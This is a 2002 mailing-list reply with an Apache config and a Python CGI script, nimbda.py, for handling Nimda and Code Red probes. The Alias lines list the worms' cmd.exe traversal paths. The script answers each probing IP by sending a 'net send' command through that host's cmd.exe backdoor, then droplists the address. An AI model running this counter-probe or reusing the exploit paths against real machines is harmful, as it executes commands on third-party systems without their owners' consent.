[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: IIS worms and apache



On Tue, Oct 29, 2002 at 07:49:58AM -0800, Paul Johnson wrote:
| Is there some apache module that will notice various IIS exploits in
| real time, look up the proper contacts and report it to the
| corresponding abuse contacts automagically?

An incomplete answer follows.

/etc/apache/httpd.conf :
~~~~
    # Nimda/CR spoof
    Alias /d/winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
    Alias /scripts/..\\\\../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
    Alias /scripts/../../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
    Alias /scripts/..À¯../winnt/system32/cmd.exe "/usr/lib/cgi-bin/nimbda.py"
~~~~

nimbda.py is attached.

I follow it up with the following cron job :
    # Update the nimbda blacklist daily.
    0  2  *  * *  root   /etc/FIREWALL/FIREWALL > /dev/null

and the attached script run early during my firewall script.

-D

-- 
A Microsoft Certified System Engineer is to information technology as a
McDonalds Certified Food Specialist is to the culinary arts.
        Michael Bacarella commenting on the limited value of certification.
 
http://dman.ddts.net/~dman/
#!/usr/bin/python2.3

version = "$Revision: 1.2 $"[11:-2]

"""
$Id: nimbda.py,v 1.2 2002/08/05 14:19:39 dman Exp $
$Revision: 1.2 $

CGI script to answer nimbda/codered probes.  Sends a nice alert back to the
domain of the offender before droplisting their IP.

TODO :
    .   store a history for the address
    .   periodically clean out the cleaned-up addresses
    .   use a script rather than 'cat' in the firewall script
        (this goes along with the first "todo" item)
"""

##True=1 ; False=0 ; # builtin in 2.3!

import httplib
import os
import sys
import urllib
import urlparse



print "Content-Type: text/plain\n\n"

offender = os.environ['REMOTE_ADDR']


# XXX
if not not __debug__ :
    import time
    f = file( "/tmp/nimbdacgi.timestamp" , "a" )

    s = '%s        %s\n' % ( time.asctime() , offender )

    f.write( s )
    print s[:-1]
    #f.write( time.asctime() )
    #f.write( '        ' )
    #f.write( offender )
    #f.write( '\n' )
    f.close()
    del f , time

MESSAGE = r"net send * CodeRed!  NIMBDA!  Clean it up already!  IIS is FUBAR!"
#URLPATH = "/var/www/scripts/root.exe" 
URLPATH = "/d/winnt/system32/cmd.exe"
URLQUERY = urllib.quote( MESSAGE )

blocklist_path = "/tmp/iptables.droplist.nimbda"

def main() :

    ##try :
    ##    f = file( blocklist_path , "a" )
    ##    print repr(f)
    ##    f.write( "" ) ;
    ##    f.close()
    ##except :
    ##    print "What in the world!?"
    ##    import traceback
    ##    traceback.print_exc()

    # don't use a proxy
    try :
        del os.environ['http_proxy']
    except KeyError : pass

    # don't let any password prompts stop us!
    sys.stdin.close()
    sys.stdin = file( "/dev/null" , 'r' )

    addrs = load_blocklist()
    old_count = len(addrs)
    addrs[offender] = None

    # sanity check
    import threading
    class ProbeThread( threading.Thread ) :
        def __init__( self , addr ) :
            self.addr = addr
            threading.Thread.__init__( self )
        def run( self ) :
            #if probe( self.addr ) :
            #    append_to_blocklist( self.addr )
            probe( self.addr )
            append_to_blocklist( self.addr )
    # end class ProbeThread

    tlist = []
    for o in addrs.keys() :
        print o
        if o in ( '127.0.0.1' , ) :
            print "Skipping address %s" % o
            del addrs[ o ]
            continue
        pt = ProbeThread( o )
        pt.start()
        tlist.append( pt )
    while tlist :
        thread = tlist.pop()
        thread.join()
    final_count = len(addrs)
    new_count = final_count - old_count
    #alist = addrs.keys() 
    #alist.sort()
    #update_blocklist( alist )
    if __debug__ :
        print
        print "Loaded %d old addresses." % old_count
        print "Located %d new addresses." % new_count
        print "Currently blocking %d nimbda/codered-infected IPs" % final_count
        #print "Blocked addresses :"
        #print "\n".join( alist )
#end main()


def load_blocklist( ) :
    """Load the existing blocklist."""
    addresses = {}
    if os.path.exists( blocklist_path ) :
        f = file( blocklist_path , 'r' )
        for line in f :
            l = line.strip()
            if l :
                addresses[ l ] = None
    return addresses
# end load_blocklist()


def append_to_blocklist( addr ) :
    """Append a single address to the blocklist"""
    f = file( blocklist_path , 'a' )
    f.write( addr )
    f.write( '\n' )
    f.close()
# end append_to_blocklist()


def update_blocklist( addrs ) :
    """Recreate the blocklist from the address sequence"""
    addrs.sort()
    f = file( blocklist_path , 'w' )
    for a in addrs :
        f.write( a )
        f.write( '\n' )
    f.close()
# end update_blocklist()


def probe( addr ) :
    """Probe the addresses for nimbda."""

    # guilty until proven innocent
    retval = True

    try :
        #f = urllib.urlopen( urlparse.urlunparse(
        #            ('http' , addr , URLPATH , '' , URLQUERY , '')  ) )
        #resp = f.info()

        conn = httplib.HTTPConnection( addr )
        conn.request( 'GET' , (URLPATH+"?"+URLQUERY) )
        resp = conn.getresponse()
        conn.close()
        print "__"
        print repr(addr)
        status = resp.status
        print "Response status:" , status
        print resp.reason
        print "--"

        if status == 200 :
            retval = True # how nice, they got a warning
        elif status == 404 :
            # This will probably only happen with dynamic addresses already in
            # the droplist.
            retval = False
        elif status == 403 :
            # Forbidden?  Why does the file exist in the first place?
            retval = True

    except EOFError , err :
        # what do they want a password for?
        retval = False
        print "__"
        print addr
        print "EOFError (password prompt)"
        print "--"
    except IOError , err :
        print "__"
        print addr
        print str(err)
        print "--"
        if False : pass
        # 110 == Connection timed out
        elif err.errno == 110 :
            retval = False
        # 111 == Connection refused
        elif err.errno == 111 :
            retval = False
        # 113 == No route to host
        elif err.errno == 113 :
            retval = False
    except Exception , err :
        retval = False # maybe they fixed it by now?
        print "__"
        print addr
        print str(err) , str(err.__class__)
        print dir( err )
        print "--"
        print
# end probe()

if __name__ == "__main__" :
    main()


## ----------------------------------------------------------------------------
# History :
#   $Log: nimbda.py,v $
#   Revision 1.2  2002/08/05 14:19:39  dman
#   Fixed several issues :
#       .   new hosts not being recorded
#       .   race condition when re-writing the blocklist
#   Other minor cleanups in the code.
#
#   Revision 1.1  2002/07/26 16:53:03  dman
#   first checkin
#

Attachment: droplist.sh
Description: Bourne shell script

Attachment: pgpZL1FlXsI5P.pgp
Description: PGP signature


Reply to: